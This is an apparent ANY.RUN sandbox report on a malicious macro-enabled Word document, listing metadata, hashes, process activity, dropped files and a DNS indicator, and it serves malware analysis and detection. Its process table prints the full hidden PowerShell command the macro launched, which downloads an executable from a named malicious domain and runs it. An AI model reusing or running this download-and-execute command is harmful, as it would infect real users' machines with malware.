analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

a444e750528879f922b755f288e817a0892e8f2538599b05008aa98083d6a332.doc

Full analysis: https://app.any.run/tasks/1d6ccd7a-28f5-4a5b-a65e-d9ee9d4352a2
Verdict: Malicious activity
Analysis date: May 21, 2019, 02:12:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1254, Title: M9R0AO, Subject: 9I80GYI, Author: Autohr, Keywords: x, , elit, ornare,a molestieMauris, condimentum, mi e vitae, Comments: Aenean toCurabitur fermentum nisl lr pulvinar tortor quis metus tempus a. Praesent quis aliquet odio. ibero, sed varius toret rhoncus in vel purus., Template: Normal.dotm, Last Saved By: --, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Mar 2 07:15:00 2018, Last Saved Time/Date: Fri Mar 2 07:15:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5:

831967A0971E61FB1D3AFEA3A513533E

SHA1:

BA1A45CFA7E536CDBC5C4C658025EAD5DC52EC79

SHA256:

A444E750528879F922B755F288E817A0892E8F2538599B05008AA98083D6A332

SSDEEP:

768:8KKq1uuTGqAiyKuqAPI9Ldx8bDjrBnE/Qu/607caB07f:6q1hyAAPQxSDjrBE/Quyeq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3336)
    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 3336)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2384)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3336)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (35.9)
.xls | Microsoft Excel sheet (33.7)
.doc | Microsoft Word document (old ver.) (21.3)

EXIF

FlashPix

Title: M9R0AO
Subject: 9I80GYI
Author: Autohr
Keywords: x, , elit, ornare,a molestieMauris, condimentum, mi e vitae
Comments: Aenean toCurabitur fermentum nisl lr pulvinar tortor quis metus tempus a. Praesent quis aliquet odio. ibero, sed varius toret rhoncus in vel purus.
Template: Normal.dotm
LastModifiedBy: --
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:03:02 07:15:00
ModifyDate: 2018:03:02 07:15:00
Pages: 1
Words: -
Characters: -
Security: None
CodePage: Windows Turkish
Company: --
Bytes: 11000
Lines: -
Paragraphs: -
CharCountWithSpaces: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
2
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3336"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\a444e750528879f922b755f288e817a0892e8f2538599b05008aa98083d6a332.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2384powershell.exe -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\kpxt.exe') {Remove-Item $env:APPDATA + '\kpxt.exe'}; $OEKQD = New-Object System.Net.WebClient; $OEKQD.Headers['User-Agent'] = 'USR-KL'; $OEKQD.DownloadFile('http://exterminatorsnearby.us/tesla.exe', $env:APPDATA + '\kpxt.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\kpxt.exe'); Stop-Process -Id $Pid -ForceC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
4294967295
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 214
Read events
823
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
3336WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRED7A.tmp.cvr
MD5:
SHA256:
2384powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DBIALQFZDMCKEZ7N3ZKJ.temp
MD5:
SHA256:
3336WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:1DBF94C52019F3FA68C5F190CC8E718C
SHA256:D3BE336F578B31B1E3E6BD5ABD73B111AB652DB1A9E30959ED3E7F3480EC098E
2384powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11f932.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
3336WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$44e750528879f922b755f288e817a0892e8f2538599b05008aa98083d6a332.docpgc
MD5:F6562EB40477CD1148AA3645268FEFC6
SHA256:5618903DE69B416916B486F32FF89C19A0FF2D8467E47BC859582469FCD2D780
2384powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
exterminatorsnearby.us
malicious

Threats

No threats detected
No debug info